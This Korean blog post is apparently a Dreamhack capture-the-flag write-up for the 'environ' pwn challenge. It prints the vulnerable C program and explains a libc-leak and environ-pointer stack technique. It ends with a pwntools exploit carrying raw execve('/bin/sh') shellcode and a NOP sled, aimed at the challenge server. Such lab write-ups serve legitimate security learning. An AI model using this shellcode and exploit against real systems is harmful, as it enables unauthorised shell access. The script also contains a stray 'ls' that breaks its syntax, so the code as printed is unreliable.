[ Dreamhack ] environ

2023. 6. 9. 11:29dreamhack/pwn

반응형
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main()
{
    char buf[16];
    size_t size;
    long value;
    void (*jump)();

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    printf("Data: ");
    read(0, buf, size);

    printf("*jmp=");
    scanf("%ld", &value);

    jump = *(long *)value;
    jump();

    return 0;
}

 

 

익스 시나리오

바이너리에 bof가 발생하지만 카나리 릭을 할 방법이 없는것 같기 때문에 다른 방법으로 접근해야 한다.

위 코드를 보면 stdout 주소를 그냥 주고 립씨 파일도 제공되기 때문에

일단 립씨 베이스를 구해준다.

nx가 비활성화 되어 있기 때문에 stack에 실행권한이 있다.

이를 활용하겨 read 함수에서 사이즈를 마음대로 조정할 수 있기 때문에 nop sled 로 넉넉하게 쉘코드를 넣어준다.

그 뒤에 아까 구한 립씨 베이스를 통해 environ ptr의 주소를 구한뒤

그 주소를 call 한다. 끝!

 

 

environ ptr을 사용하는 이유는 environ ptr을 통해 스택의 주소를 알 수 있기 때문이다.

위 사진은 main 함수를 실행하고 해당 함수의 rbp와 environ ptr을 출력한 모습이다.

두 주소는 0x3b4 정도 차이가 난다. 이를 통해 스택의 주소를 구할 수 있고

environ이 rbp보다 높은 주소에 위치해 있기 때문에 nop sled로 environ ptr까지 도달하고 쉘코드를 실행시켜주면

쉘을 획득할 수 있다.

 

* environ ptr은 프로그램의 환경 변수를 가리키고 있는 포인터이다.

 

 


exploit

 

objdump를 사용해서 stdout과 environ의 offset을 구했다.

environ offset
stdout offset

 

from pwn import *

context.log_level = "debug"
context.arch = "x86_64"

r = remote("host3.dreamhack.games", 8629)
# r = process("./environ")

asdf = ELF("/lib/x86_64-linux-gnu/libc.so.6")

input()

r.recvuntil(b"stdout: ")
libc_base = int(r.recvn(14), 16)
#libc_base -= 0x21a780
libc_base -= 0x3c5620
environ = libc_base + 0x3c6f38

print(hex(libc_base))
print(hex(environ))

shellcode = b"\x90" * 0x750 + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
# asm(shellcraft.execve("/bin/sh"))

r.sendlineafter(b"Size: ", str(len(shellcode)ls
                               ).encode())
r.sendafter(b"Data: ", shellcode)
r.sendlineafter(b"*jmp=", str(environ).encode())

r.interactive()

 

 

반응형

'dreamhack > pwn' 카테고리의 다른 글

[Dreamhack] baby-bof  (1) 2023.12.10
[ Dreamhack ] __environ  (0) 2023.06.09
[ Dreamhack ] house_of_spirit  (2) 2023.05.28
ptmalloc2  (2) 2023.05.26
[ Dreamhack ] Kind kid list  (2) 2023.05.23